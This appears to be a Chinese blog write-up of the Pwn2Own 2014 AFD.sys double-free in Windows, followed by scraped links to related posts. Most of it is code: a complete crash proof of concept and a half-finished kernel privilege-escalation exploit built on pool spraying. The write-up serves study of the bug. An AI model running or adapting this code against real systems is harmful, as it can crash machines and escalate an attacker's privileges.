Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability

  这个内核漏洞在Pwn2Own 2014上用来提权绕过IE沙箱(保护模式),siberas公司后来公布了漏洞的细节及利用方法,通过其公开的文档已经能够准确定位漏洞成因及利用方法。(http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf)

  第一次分析double free类型的漏洞,并且想通过此漏洞进一步了解学习内核漏洞的利用技术。但分析到占位时,出现了WorkerFactory Object及controlled data占位不稳定的问题,在我的调试过程中,WorkerFactory Object和controlled data都有占不到位的情况发生,只有少数情况下两者都能成功占位。调试了许久依旧还没能解决,所以打算先放一放,有思路和时间了再进一步调试。

  目前的改进思路是:

    1.针对WorkerFactory Object占位,进行多次循环创建,在循环中进行创建(NtCreateWorkerFactory)、判断、删除(NtReleaseWorkerFactoryWorker)操作,当判断占位成功时跳出循环。

    2.针对controlled data占位,采用多线程调用NtQueryEaFile进行占位(因为NtQueryEaFile会在函数末尾释放非分页内存,导致单线程循环调用时申请到同一片内存,从而无法成功占位)
    3.怎么想前两种方法都有些繁琐,而且不一定能够实现。我想一定有更高级、稳定的占位方法的吧。。。  (希望有思路的朋友给我一点儿提示  :-)  )

  下面是crash的POC代码

  1 #pragma comment(lib, "ws2_32.lib")
  2
  3 #include <WinSock2.h>
  4 #include <windows.h>
  5 #include <Winternl.h>
  6 #include <Wingdi.h>
  7 #include <iostream>
  8 using namespace std;
  9
 10 typedef NTSTATUS  (WINAPI *_NtDeviceIoControlFile)(
 11     _In_   HANDLE FileHandle,
 12     _In_   HANDLE Event,
 13     _In_   PIO_APC_ROUTINE ApcRoutine,
 14     _In_   PVOID ApcContext,
 15     _Out_  PIO_STATUS_BLOCK IoStatusBlock,
 16     _In_   ULONG IoControlCode,
 17     _In_   PVOID InputBuffer,
 18     _In_   ULONG InputBufferLength,
 19     _Out_  PVOID OutputBuffer,
 20     _In_   ULONG OutputBufferLength
 21     );
 22
 23 int main()
 24 {
 25     HMODULE hNtDll = LoadLibrary("ntdll.dll");
 26     _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile");
 27     if (pNtDeviceIoControlFile == NULL)
 28     {
 29         FreeLibrary(hNtDll);
 30         cout<<"Get NtDeviceIoControlFile Address failed!"<<endl;
 31         return -1;
 32     }
 33     FreeLibrary(hNtDll);
 34
 35
 36     WSAData wasData;
 37     WSAStartup(WINSOCK_VERSION, &wasData);
 38
 39     SOCKET LocalSock;
 40     LocalSock = socket(AF_INET, SOCK_STREAM, 0);
 41     if(LocalSock == INVALID_SOCKET)
 42     {
 43         cout<<"[-] no luck creating socket!"<<endl;
 44         WSACleanup();
 45         return -1;
 46     }
 47
 48     cout<<"[+] got sock 0x%x"<<endl;
 49
 50     struct sockaddr_in    to;
 51     memset(&to, 0, sizeof(to));
 52     to.sin_addr.s_addr = inet_addr("127.0.0.1");
 53     to.sin_family = AF_INET;
 54     to.sin_port = htons(135);
 55
 56     if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR)
 57     {
 58         cout<<"[-] connect failed!"<<endl;
 59         WSACleanup();
 60         return -1;
 61     }
 62
 63     cout<<"[+] sock connected."<<endl;
 64
 65
 66     /* Prepare buffer */
 67     unsigned int targetsize = 0x100;
 68     unsigned int virtaddress = 0x13371337;
 69     unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff);
 70
 71     IO_STATUS_BLOCK StatuBlock ;
 72     unsigned char inbuf1[48] = {0};    // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0)
 73     unsigned char inbuf2[24] = {0};    // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4
 74     PULONG point;
 75
 76     point = (PULONG)inbuf1;
 77     point = point + 6;
 78     *point++ = virtaddress;
 79     *point++ = mdlsize;
 80     point = point + 2;
 81     *point = 1;
 82
 83     point = (PULONG)inbuf2;
 84     *point++ = 1;
 85     *point = 0xaaaaaaa;
 86
 87     /* Exhaust the system‘s physical memory. */
 88     int nBottomRect = 0x2aaaaaa ;
 89     HRGN hrgn;
 90     while (true)
 91     {
 92         hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1);
 93         if (hrgn == 0)
 94         {
 95             break;
 96         }
 97     }
 98
 99
100     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0);
101     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0);
102
103
104     return 0;
105 }

  下面是我调试到一半的利用代码

  1 #pragma comment(lib, "ws2_32.lib")
  2
  3 #include <WinSock2.h>
  4 #include <windows.h>
  5 #include <Winternl.h>
  6 #include <Wingdi.h>
  7 #include <iostream>
  8
  9 using namespace std;
 10
 11 typedef NTSTATUS  (WINAPI *_NtDeviceIoControlFile)(
 12     _In_   HANDLE FileHandle,
 13     _In_   HANDLE Event,
 14     _In_   PIO_APC_ROUTINE ApcRoutine,
 15     _In_   PVOID ApcContext,
 16     _Out_  PIO_STATUS_BLOCK IoStatusBlock,
 17     _In_   ULONG IoControlCode,
 18     _In_   PVOID InputBuffer,
 19     _In_   ULONG InputBufferLength,
 20     _Out_  PVOID OutputBuffer,
 21     _In_   ULONG OutputBufferLength
 22     );
 23
 24 #define WORKER_FACTORY_RELEASE_WORKER 0x0001
 25 #define WORKER_FACTORY_WAIT 0x0002
 26 #define WORKER_FACTORY_SET_INFORMATION 0x0004
 27 #define WORKER_FACTORY_QUERY_INFORMATION 0x0008
 28 #define WORKER_FACTORY_READY_WORKER 0x0010
 29 #define WORKER_FACTORY_SHUTDOWN 0x0020
 30 #define WORKER_FACTORY_ALL_ACCESS (  31     STANDARD_RIGHTS_REQUIRED |  32     WORKER_FACTORY_RELEASE_WORKER |  33     WORKER_FACTORY_WAIT |  34     WORKER_FACTORY_SET_INFORMATION |  35     WORKER_FACTORY_QUERY_INFORMATION |  36     WORKER_FACTORY_READY_WORKER |  37     WORKER_FACTORY_SHUTDOWN  38     )
 39
 40 typedef enum _WORKERFACTORYINFOCLASS
 41 {
 42     WorkerFactoryTimeout,
 43     WorkerFactoryRetryTimeout,
 44     WorkerFactoryIdleTimeout,
 45     WorkerFactoryBindingCount,
 46     WorkerFactoryThreadMinimum,
 47     WorkerFactoryThreadMaximum,
 48     WorkerFactoryPaused,
 49     WorkerFactoryBasicInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryBasicInformation
 50     WorkerFactoryAdjustThreadGoal,
 51     WorkerFactoryCallbackType,
 52     WorkerFactoryStackInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryStackInformation
 53     MaxWorkerFactoryInfoClass
 54 } WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS;
 55
 56 typedef struct _WORKER_FACTORY_BASIC_INFORMATION
 57 {
 58     LARGE_INTEGER Timeout;
 59     LARGE_INTEGER RetryTimeout;
 60     LARGE_INTEGER IdleTimeout;
 61     BOOLEAN Paused;
 62     BOOLEAN TimerSet;
 63     BOOLEAN QueuedToExWorker;
 64     BOOLEAN MayCreate;
 65     BOOLEAN CreateInProgress;
 66     BOOLEAN InsertedIntoQueue;
 67     BOOLEAN Shutdown;
 68     ULONG BindingCount;
 69     ULONG ThreadMinimum;
 70     ULONG ThreadMaximum;
 71     ULONG PendingWorkerCount;
 72     ULONG WaitingWorkerCount;
 73     ULONG TotalWorkerCount;
 74     ULONG ReleaseCount;
 75     LONGLONG InfiniteWaitGoal;
 76     PVOID StartRoutine;
 77     PVOID StartParameter;
 78     HANDLE ProcessId;
 79     SIZE_T StackReserve;
 80     SIZE_T StackCommit;
 81     NTSTATUS LastThreadCreationStatus;
 82 } WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION;
 83
 84 typedef NTSTATUS (WINAPI *_NtCreateWorkerFactory)(
 85     __out PHANDLE WorkerFactoryHandleReturn,
 86     __in ACCESS_MASK DesiredAccess,
 87     __in_opt POBJECT_ATTRIBUTES ObjectAttributes,
 88     __in HANDLE CompletionPortHandle,
 89     __in HANDLE WorkerProcessHandle,
 90     __in PVOID StartRoutine,
 91     __in_opt PVOID StartParameter,
 92     __in_opt ULONG MaxThreadCount,
 93     __in_opt ULONG StackReserve,
 94     __in_opt ULONG StackCommit
 95     );
 96
 97 typedef NTSTATUS (WINAPI *_NtQueryInformationWorkerFactory)(
 98     __in HANDLE WorkerFactoryHandle,
 99     __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
100     __out_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
101     __in ULONG WorkerFactoryInformationLength,
102     __out_opt PULONG ReturnLength
103     );
104
105 typedef    NTSTATUS (WINAPI *_NtSetInformationWorkerFactory)(
106     __in HANDLE WorkerFactoryHandle,
107     __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
108     __in_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
109     __in ULONG WorkerFactoryInformationLength
110     );
111
112 typedef NTSTATUS (WINAPI *_NtReleaseWorkerFactoryWorker)(
113     __in HANDLE WorkerFactoryHandle
114     );
115
116 typedef NTSTATUS (WINAPI *_NtQueryEaFile)(
117     _In_      HANDLE FileHandle,
118     _Out_     PIO_STATUS_BLOCK IoStatusBlock,
119     _Out_     PVOID Buffer,
120     _In_      ULONG Length,
121     _In_      BOOLEAN ReturnSingleEntry,
122     _In_opt_  PVOID EaList,
123     _In_      ULONG EaListLength,
124     _In_opt_  PULONG EaIndex,
125     _In_      BOOLEAN RestartScan
126     );
127
128 typedef struct _FILE_FULL_EA_INFORMATION {
129     ULONG  NextEntryOffset;
130     UCHAR  Flags;
131     UCHAR  EaNameLength;
132     USHORT EaValueLength;
133     CHAR   EaName[1];
134 } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
135
136
137
138
139 void TppWorkerThread()
140 {
141     int i;
142     for (i = 0; i <100; i++)
143     {
144         ;
145     }
146     return ;
147 }
148
149 int main()
150 {
151     HMODULE hNtDll = LoadLibrary("ntdll.dll");
152
153     _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile");
154     if (pNtDeviceIoControlFile == NULL)
155     {
156         FreeLibrary(hNtDll);
157         cout<<"Get NtDeviceIoControlFile Address failed!"<<endl;
158         return -1;
159     }
160
161     _NtCreateWorkerFactory  pNtCreateWorkerFactory  = (_NtCreateWorkerFactory)GetProcAddress(hNtDll, "NtCreateWorkerFactory");
162     if (pNtCreateWorkerFactory == NULL)
163     {
164         FreeLibrary(hNtDll);
165         cout<<"Get NtCreateWorkerFactory Address failed!"<<endl;
166         return -1;
167     }
168
169     _NtQueryEaFile pNtQueryEaFile = (_NtQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
170     if (pNtQueryEaFile == NULL)
171     {
172         FreeLibrary(hNtDll);
173         cout<<"Get NtQueryEaFile Address failed!"<<endl;
174         return -1;
175     }
176
177     _NtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = (_NtQueryInformationWorkerFactory)GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory");
178     if (pNtQueryInformationWorkerFactory == NULL)
179     {
180         FreeLibrary(hNtDll);
181         cout<<"Get NtQueryInformationWorkerFactory Address failed!"<<endl;
182         return -1;
183     }
184
185     FreeLibrary(hNtDll);
186
187
188     WSAData wasData;
189     WSAStartup(WINSOCK_VERSION, &wasData);
190
191     SOCKET LocalSock;
192     LocalSock = socket(AF_INET, SOCK_STREAM, 0);
193     if(LocalSock == INVALID_SOCKET)
194     {
195         cout<<"[-] no luck creating socket!"<<endl;
196         WSACleanup();
197         return -1;
198     }
199
200     cout<<"[+] got sock 0x%x"<<endl;
201
202     struct sockaddr_in    to;
203     memset(&to, 0, sizeof(to));
204     to.sin_addr.s_addr = inet_addr("127.0.0.1");
205     to.sin_family = AF_INET;
206     to.sin_port = htons(135);
207
208     if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR)
209     {
210         cout<<"[-] connect failed!"<<endl;
211         WSACleanup();
212         return -1;
213     }
214
215     cout<<"[+] sock connected."<<endl;
216
217
218
219     IO_STATUS_BLOCK StatuBlock ;
220     NTSTATUS Ret;
221     PULONG point;
222
223     /* Prepare DeviceIoControl buffer */
224     unsigned int targetsize = 0x100;
225     unsigned int virtaddress = 0x13371337;
226     unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff);
227     unsigned char inbuf1[48] = {0};    // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0)
228     unsigned char inbuf2[24] = {0};    // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4
229
230     point = (PULONG)inbuf1;
231     point = point + 6;
232     *point++ = virtaddress;
233     *point++ = mdlsize;
234     point = point + 2;
235     *point = 1;
236
237     point = (PULONG)inbuf2;
238     *point++ = 1;
239     *point = 0xaaaaaaa;
240
241
242     /* Prepare the arguments of NtCreateWorkerFactory */
243     HANDLE WorkerFactoryHandle;
244     HANDLE CompletionPort ;
245     CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0);
246     HANDLE WorkerHandle ;
247     WorkerHandle = GetCurrentProcess();
248
249
250     /* Prepare the arguments of NtQueryEaFile */
251     FILE_FULL_EA_INFORMATION FFEI_Buffer ;
252     unsigned char EaListInputBuffer[0x100]={0};
253
254     point = (PULONG)EaListInputBuffer;        // 0x0xfffffa8000000300 - 0x2e0 = 0x0xfffffa8000000020
255     point = point + 0x30 / 4;
256     *point++ = 0x00000020;
257     *point = 0xfffffa80;
258
259     /* Prepare the arguments of NtQueryInformationWorkerFactory */
260     WORKER_FACTORY_BASIC_INFORMATION basicInfo;
261
262     /* Exhaust the system‘s physical memory. */
263     int nBottomRect = 0x2aaaaaa ;
264     HRGN hrgn;
265     while (true)
266     {
267         hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1);
268         if (hrgn == 0)
269         {
270             break;
271         }
272     }
273
274
275
276     //AfdTransmitFile(+0x243 AfdTliGetTpInfo -> ExAllocateFromNPagedLookasideList -> AfdAllocateTpInfo -> ExAllocatePoolWithTagPriority)
277     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0);
278
279
280     /* Prepare Worker Factory Object for READ/WRITE-PRIMITIVES */
281     //for (int i = 0; i < 50; i++)
282         pNtCreateWorkerFactory(&WorkerFactoryHandle, WORKER_FACTORY_ALL_ACCESS, NULL, CompletionPort, WorkerHandle, TppWorkerThread, NULL, NULL, NULL, NULL);
283
284
285     //AfdTransmitPackets
286     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0);
287
288
289     /* Replace the freed object data with controlled data */
290     //pNtQueryEaFile((HANDLE)LocalSock, &StatuBlock, &FFEI_Buffer, sizeof(FFEI_Buffer), TRUE, InputBuffer, 0x100, NULL, FALSE);
291     pNtQueryEaFile(NULL, &StatuBlock, NULL, NULL, TRUE, EaListInputBuffer, 0x100, NULL, FALSE);
292
293     pNtQueryInformationWorkerFactory(WorkerFactoryHandle, WorkerFactoryBasicInformation, &basicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), NULL);
294
295     closesocket(LocalSock);
296     WSACleanup();
297
298     return 0;
299 }

Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability

时间: 2024-10-24 19:35:32

Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability的相关文章

WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程

标 题: WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程 时 间: 2013-03-17,15:22:33 这是本人第一次做漏洞挖掘,2月的时候开始研究漏洞挖掘技术,2月24号那天在进行Fuzz测试的时候偶然的发现了一个afd.sys未处理的异常,然后就对这个异常如获至宝的分析起来了,因为在上班,所以都是利用周末时间来进行,前前后后到加起来差不多5天时间.现在这个漏洞的原因以及低层次的利用已经全部完成,所以拿出来跟大家分享一下,虽然挖到现在只挖出了本地拒绝服务的用处,在如

Dangling pointer(悬垂指针、迷途指针)和 Wild pointer(野指针)

一.迷途指针(悬垂指针) 在计算机编程领域中,迷途指针与野指针指的是不指向任何合法的对象的指针. 当所指向的对象被释放或者收回,但是对该指针没有作任何的修改,以至于该指针仍旧指向已经回收的内存地址,此情况下该指针便称迷途指针(悬垂指针).若操作系统将这部分已经释放的内存重新分配给另外一个进程,而原来的程序重新引用现在的迷途指针,则将产生无法预料的后果.因为此时迷途指针所指向的内存现在包含的已经完全是不同的数据.通常来说,若原来的程序继续往迷途指针所指向的内存地址写入数据,这些和原来程序不相关的数

空悬指针和野指针(Dangling pointer and wild pointer)

空悬指针 简单地说,空悬指针是对象的指针的生存周期比对象更长所导致的,也就是说,对象销毁.删除了,不存在了,指针仍然存在,这时这个指针就成了空悬指针. 当对象被析构.删除时,如果指向它的指针没有被同时修改,那么指针仍然会指向那块内存(但是那块内存已经没有东西了).系统此时可能会重新分配这块已经free掉的内存,如果程序再通过这个指针读这块内存,就可能会有不可预见的事情发生,因为这块内存可能被分配了完全不同的内容.如果程序此时要写这块内存,就可能会造成数据污染,进而可能带来超级难被发现的bug.如

metasploit--exploit模块信息

Name                                             Disclosure Date  Rank    Description ----                                             ---------------  ----    ----------- aix/rpc_cmsd_opcode21                                          2009-10-07    

&lt;2014 05 21&gt; 互联网时代的C语言——Go(2)

************************************************************************************************************** 代码清单 hello.gopackage main import "fmt"// 我们需要使用fmt包中的Println()函数 func main() { fmt.Println("Hello, world. 你好,世界!")}代码解读每个Go源

smart pointer

smart pointer是一种abstract data type,它能够模仿指针的行为,并且额外提供了一系列诸如自动内存管理.边界检查等特性,这些特性是为了在保证效率的基础上减少由于对指针的不正常使用而带来的bug.smart pointer能够自动进行object的销毁:当某个object的最后一个拥有者被destroy的时候(如局部变量离开了作用域),由smart pointer管理的object会被自动销毁.smart pointer是被声明在stack中的 在C++中,smart p

My understanding about smart pointer

Here are two simple questions. Problem A #include <string> include <iostream> using namespace std; class vehicle { public: vehicle(const string& name); virtual ~vehicle(){} void PrintOwnerInfo(); private: string driver_name_; }; vehicle::v

CVE-2014-1767 漏洞分析(2015.1)

CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞. 实现对漏洞的有效利用,攻击者利用成功可导致权限提升.afd.sys是内核用来管理socket的模块. 影响的系统包括(32bit & 64 bit):  Windows Server 2003 Windows Vista Windows Server 2008 Windows 7

windows内核提权

Windows by default are vulnerable to several vulnerabilities that could allow an attacker to execute malicious code in order to abuse a system. From the other side patching systems sufficiently is one of the main problems in security. Even if an orga